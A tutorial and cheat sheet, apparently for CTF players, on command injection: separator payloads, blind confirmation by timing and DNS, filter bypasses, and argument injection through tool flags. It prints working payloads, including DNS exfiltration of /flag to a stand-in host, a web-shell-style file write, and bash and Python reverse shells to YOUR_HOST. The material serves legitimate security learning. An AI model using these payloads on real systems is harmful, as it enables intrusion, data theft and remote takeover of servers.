Command injection: making the shell run your half of the string
Where a shell gets invoked, the separators that split one command into two, how to confirm a blind injection you cannot see, and the argument-injection variant that needs no shell metacharacters at all.
Command injection is the shortest path from a web bug to a shell, and it exists because building a command line by concatenating strings is the most convenient way to call an external program. ping -c 1 $host is one string; if host is yours, so is the part after it.
The important distinction, and the one that decides your whole approach: is a shell involved? system(), exec(), popen(), shell_exec(), os.system, subprocess.run(..., shell=True) and backticks all hand your string to /bin/sh, which means metacharacters are interpreted. execve directly, or subprocess.run(["ping", "-c", "1", host]), does not - and then metacharacters do nothing and you need the argument-injection section at the end.
Finding the sink
Any feature that is obviously a wrapper around a command-line tool. In CTF web challenges the list is short and recognisable:
- A network diagnostic page: ping, traceroute, nslookup, whois, dig, curl.
- A file converter: ImageMagick, ffmpeg, LibreOffice, pandoc, ghostscript.
- An archive handler: tar, unzip, 7z - see also archive attacks.
- A git or package operation exposed to the user.
- A PDF or thumbnail generator, which is usually wkhtmltopdf or ImageMagick and has its own SSRF surface as well.
- Anything that reports a version number, an uptime, or a DNS result.
The separators
| Payload | Effect | Notes |
|---|---|---|
; id | Run unconditionally after | The default. Blocked most often. |
&& id | Run if the first command succeeded | Useful when you can see only success paths. |
|| id | Run if the first command failed | Give it a host that will not resolve, and your command runs. |
| id | Pipe; the second command's output is what you see | Often the cleanest output, because the first command's output is consumed. |
& id | Background the first, run yours | Works where ; is filtered. |
` id or $(id)` | Substitution - runs inside the argument | Survives when the whole value is quoted. |
%0aid | A newline separates commands too | Gets past filters that only consider punctuation. |
{cat,/flag} | Brace expansion, no spaces needed | The answer when spaces are filtered. |
If the parameter is inside double quotes in the source - system("ping -c 1 \"$host\"") - a ; is just a character. You need to close the quote first (" ; id ; ") or use $( ) or backticks, which are interpreted *inside* double quotes. Inside single quotes, only closing the quote works.
Blind injection: proving it without output
Most real injections return nothing. Three channels, in order of reliability.
Time
host=1.1.1.1; sleep 5
host=1.1.1.1 && sleep 5
host=$(sleep 5)DNS
The most useful channel, because it escapes egress filtering that blocks outbound TCP and it carries data. Encode the output into a subdomain of a host whose queries you can see:
; nslookup $(whoami).dns.you.example
; curl "http://$(cat /flag | base32 -w0 | head -c 60).dns.you.example"fold and a sequence number per chunk.A file the application will serve back
If the app has any readable directory - a web root, an uploads folder - redirect output into it and then request it. ; id > /var/www/html/uploads/x.txt followed by fetching that path turns a blind injection into a visible one, permanently.
Filters, and the shapes that get past them
Blocklists on this class fail comprehensively, because the shell offers so many spellings of the same thing.
| Blocked | Alternative |
|---|---|
| Spaces | ${IFS}, {cat,/flag}, <, or $'\x20' |
| Slashes | ${HOME} or ${PATH:0:1} expands to a / |
The word cat | c\at, c'a't, "c"at, tac, head, nl, rev, xxd, less, od |
The word flag | /fl*g, /fla?, /f???, cat /* and read what comes out |
| Alphanumerics entirely | Bashfuck-style construction from ${...} expansions and $0 |
| Output redirection | Use DNS or timing instead |
; & | | A literal newline (%0a), or $( ) inside the existing argument |
The general principle: the filter is written against the *strings* an author expected, and the shell is a language with unlimited synonyms. Wildcards, quoting, variable expansion and word splitting each provide a different spelling for the same command, and a blocklist has to catch all of them.
Argument injection: no metacharacters required
When the code passes an argument list rather than a shell string, ; does nothing. But you still control one argument - and many programs have flags that read or write arbitrary files, or execute code, entirely within their normal operation.
- curl:
-o /path/filewrites anywhere the process can.-K filereads a config file.--upload-fileexfiltrates. - tar:
--checkpoint=1 --checkpoint-action=exec=sh cmdruns a command as a documented feature. - find:
-exec cmd {} ;needs no shell. - zip:
--unzip-commandand-TTrun a program. - ssh / scp / rsync:
-o ProxyCommand=...and-eexecute. - git:
--upload-pack=on a clone, or a crafted--configvalue. - wget:
--use-askpass=executes;-Owrites anywhere. - ffmpeg: the
concatdemuxer reads local files into the output, which is a file-read primitive.
The enabling condition is that your value lands *before* the intended argument, or that the program parses flags anywhere on its line. A username of -o/var/www/html/x.php fed to curl $URL -H "user: $user" is a file write. This class also connects to SSRF: if the argument is a URL, you have both problems at once.
Getting something better than a single command
Once one command runs, the objective is usually an interactive shell so you can move on to privilege escalation. Standard reverse shell, with the usual caveats: the target needs outbound network, and in a CTF that means a listener on a routable host.
; bash -c 'bash -i >& /dev/tcp/YOUR_HOST/4444 0>&1'
; python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_HOST",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'bash -c wrapper matters: /dev/tcp is a bash feature and the sink may be running sh. Upgrade to a full TTY afterwards with python3 -c 'import pty;pty.spawn("/bin/bash")' then stty raw -echo.If there is no outbound network - common in sandboxed challenge infrastructure - do not fight it. Read the flag with the injection you already have and move on. A single cat /flag down a DNS channel is worth more than an hour spent trying to make a reverse shell connect out of a network that was configured not to let it.
A command-injection checklist
- Identify the feature that shells out, and guess the command it builds.
- Determine whether a shell is involved. If not, go straight to argument injection.
- Work through the separators, accounting for the quoting context.
- Confirm with
id, or with a five-second sleep if there is no output. - If blind, establish a DNS channel before anything else - it carries data and survives egress filters.
- If filtered, change the spelling rather than the command: wildcards, quoting,
${IFS}, variable expansion. - Read the flag first. Escalate to a shell second, and only if the challenge actually requires it.